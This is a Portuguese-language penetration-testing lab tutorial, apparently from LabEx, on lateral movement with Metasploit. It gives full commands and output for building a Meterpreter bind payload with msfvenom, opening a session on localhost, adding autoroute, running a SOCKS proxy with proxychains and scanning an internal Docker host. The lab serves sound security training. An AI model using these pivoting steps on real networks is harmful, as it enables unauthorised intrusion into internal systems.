Autorouting no Metasploit

CibersegurançaBeginner
Pratique Agora

Introdução

A movimentação lateral é uma fase crítica em testes de invasão (pentest), onde um atacante utiliza um sistema comprometido para acessar outros hosts na mesma rede interna. Frequentemente, essas redes internas são isoladas e não podem ser acessadas diretamente de fora.

O salto conceitual importante é que o comprometimento não se trata apenas do primeiro host. O primeiro host geralmente é importante devido às redes, rotas e relações de confiança que ele pode visualizar em seguida.

Neste laboratório, você aprenderá a realizar movimentação lateral usando o Metasploit Framework. Você simulará a obtenção de um ponto de apoio inicial em um host com múltiplas interfaces (dual-homed), usará o recurso Autoroute do Metasploit para realizar um pivô através da sua sessão Meterpreter e configurará um proxy SOCKS para permitir que ferramentas externas interajam com a rede interna oculta.

Identificar Sub-redes Internas (arp/ipconfig)

Nesta etapa, simularemos a obtenção de um ponto de apoio inicial em um servidor comprometido. Para isso, geraremos um payload local, executaremos e capturaremos a conexão usando o Metasploit para estabelecer uma sessão Meterpreter. Uma vez conectado, inspecionaremos as interfaces de rede para identificar sub-redes internas isoladas.

Primeiro, certifique-se de estar no diretório do seu projeto e use o msfvenom para gerar um payload executável para Linux. Este payload abrirá uma porta de escuta na máquina alvo (que, em nossa simulação, é a máquina local).

cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin

Se esta for a primeira vez que você usa o Metasploit no ambiente de laboratório atual, você poderá ver um prompt de configuração inicial antes que o msfvenom gere o payload. Quando perguntado se deseja configurar um novo banco de dados, responda yes e aguarde a conclusão da configuração.

Em seguida, torne o payload executável e execute-o em segundo plano.

chmod +x payload.bin
./payload.bin &

Agora, inicie o console do Metasploit silenciosamente (sem o banner de inicialização) usando a flag -q.

msfconsole -q

Dentro do console do Metasploit, configure o multi-handler para se conectar ao payload que você acabou de executar.

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

Você deverá ver uma saída indicando que uma sessão Meterpreter foi aberta.

[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)

Com a sessão Meterpreter ativa, você pode explorar a configuração de rede do host comprometido. Use o comando ipconfig para listar todas as interfaces de rede.

Enumerar interfaces e rotas é o equivalente em rede à enumeração de privilégios locais. Você precisa saber o que o host pode alcançar antes de poder usá-lo como um pivô.

meterpreter > ipconfig

Analise a saída em busca de diferentes sub-redes. Neste ambiente, você normalmente verá a rede principal da VM em eth0 e uma sub-rede de bridge do Docker, como 172.17.0.0/16, em docker0. Essas são as rotas que o Meterpreter geralmente consegue descobrir e usar como pivô automaticamente. Você também pode verificar o cache ARP para ver se o host se comunicou com dispositivos próximos.

meterpreter > arp

Mantenha esta sessão Meterpreter aberta, pois a usaremos na próxima etapa para configurar nosso roteamento.

Adicionar Autoroute via Meterpreter

Nesta etapa, configuraremos o Metasploit para rotear o tráfego através da nossa sessão Meterpreter ativa. Neste ambiente de laboratório, o módulo autoroute pode inspecionar a tabela de roteamento do host comprometido e adicionar automaticamente as sub-redes que ele descobrir. Esse processo é conhecido como pivoting (pivô) e nos permite atacar redes que são alcançáveis a partir do host comprometido.

O Autoroute é valioso porque torna o framework ciente da sessão. Uma vez que as rotas existam, o Metasploit pode escolher automaticamente o host comprometido como o caminho para essas sub-redes ocultas.

Primeiro, coloque sua sessão Meterpreter atual em segundo plano para que você possa retornar ao prompt principal do Metasploit.

meterpreter > background

Você verá uma mensagem confirmando que a sessão 1 foi colocada em segundo plano. Agora, carregue o módulo de pós-exploração autoroute.

msf6 exploit(multi/handler) > use post/multi/manage/autoroute

Configure o módulo especificando o ID da sessão através da qual você deseja rotear o tráfego e, em seguida, execute-o. Neste ambiente, o módulo pesquisará a tabela de roteamento do host e adicionará as sub-redes que encontrar automaticamente.

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run

Você deverá ver uma saída indicando que uma ou mais rotas foram adicionadas a partir da tabela de roteamento do host. Um resultado comum neste ambiente é parecido com isto:

[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

Para verificar se a rota foi registrada corretamente dentro do Metasploit, você pode imprimir a tabela de roteamento ativa.

msf6 post(multi/manage/autoroute) > route print

A saída exibirá as sub-redes que foram mapeadas para a Sessão 1. Qualquer módulo do Metasploit executado contra um endereço IP em uma dessas faixas agora será tunelado automaticamente através do host comprometido.

Configurar Proxy SOCKS no Metasploit

Embora o recurso de autoroute seja excelente para os módulos integrados do Metasploit, ele não roteia automaticamente o tráfego para ferramentas de linha de comando externas (como curl ou nmap). Para conseguir isso, precisamos configurar um servidor proxy SOCKS dentro do Metasploit.

Nesta etapa, iniciaremos um proxy SOCKS e configuraremos a ferramenta proxychains para usá-lo.

Ainda dentro do console do Metasploit, carregue o módulo auxiliar de proxy SOCKS.

msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy

Configure o proxy para escutar no seu endereço de loopback local (127.0.0.1) na porta 1080. Usaremos a versão SOCKS 4a.

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a

Execute o servidor proxy como um job em segundo plano usando a flag -j.

msf6 auxiliary(server/socks_proxy) > run -j

Você verá uma mensagem confirmando que o proxy SOCKS está sendo executado em segundo plano.

[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Deixe o console do Metasploit em execução. Abra uma nova aba de terminal no seu ambiente LabEx para configurar o proxychains.

No novo terminal, abra o arquivo de configuração do proxychains usando o editor de texto nano com privilégios de sudo.

sudo nano /etc/proxychains4.conf

Role até o final do arquivo. Você encontrará uma seção [ProxyList]. Por padrão, ela pode ter uma entrada como socks4 127.0.0.1 9050. Modifique esta linha (ou adicione uma nova) para corresponder à porta que configuramos no Metasploit:

socks4  127.0.0.1 1080

Salve o arquivo pressionando Ctrl+O, pressione Enter para confirmar e, em seguida, saia do nano pressionando Ctrl+X.

Escanear Rede Interna via Pivô

Nesta etapa final, utilizaremos tanto o autoroute do Metasploit quanto o proxy SOCKS para interagir com a rede bridge do Docker. O Docker pode atribuir um endereço IP ligeiramente diferente cada vez que o container inicia, por isso a configuração salvou o IP real do alvo em ~/project/internal_target_ip.txt.

No seu segundo terminal, você pode confirmar o IP do alvo a qualquer momento com:

cat ~/project/internal_target_ip.txt

Primeiro, vamos usar um módulo integrado do Metasploit para escanear o alvo. Retorne à sua primeira aba de terminal onde o Metasploit está em execução.

Carregue o módulo de scanner de porta TCP e configure-o para escanear a porta 80 no alvo interno.

msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run

Como configuramos o autoroute na Etapa 2, o Metasploit sabe que deve enviar este scan através da Sessão 1. Você deverá ver uma saída indicando que a porta 80 está aberta.

[+] 172.17.0.2:           - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Agora, vamos testar nosso proxy SOCKS. Volte para a sua segunda aba de terminal.

Usaremos o comando curl para buscar a página web do alvo interno. Ao adicionar proxychains ao nosso comando, o tráfego é forçado através do proxy SOCKS (que o roteia pelo Metasploit e, finalmente, através da nossa sessão Meterpreter).

proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title

Você deverá ver os logs de conexão do proxychains seguidos pelo título HTML da página web padrão do Nginx hospedada no alvo interno.

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:80  ...  OK
<title>Welcome to nginx!</title>

Parabéns! Você realizou com sucesso um pivô através de um host comprometido para interagir com uma rede interna isolada, usando tanto módulos internos do Metasploit quanto ferramentas externas.

Resumo

Neste laboratório, você explorou as poderosas capacidades de movimentação lateral do Metasploit Framework. Você começou gerando um payload e estabelecendo uma sessão Meterpreter para simular um host comprometido. Em seguida, identificou uma sub-rede interna isolada e usou o módulo autoroute do Metasploit para direcionar o tráfego através da sua sessão. Finalmente, configurou um proxy SOCKS e utilizou o proxychains para tunelar ferramentas de linha de comando externas para dentro da rede interna. Essas técnicas são fundamentais para navegar em ambientes de rede complexos durante testes de invasão.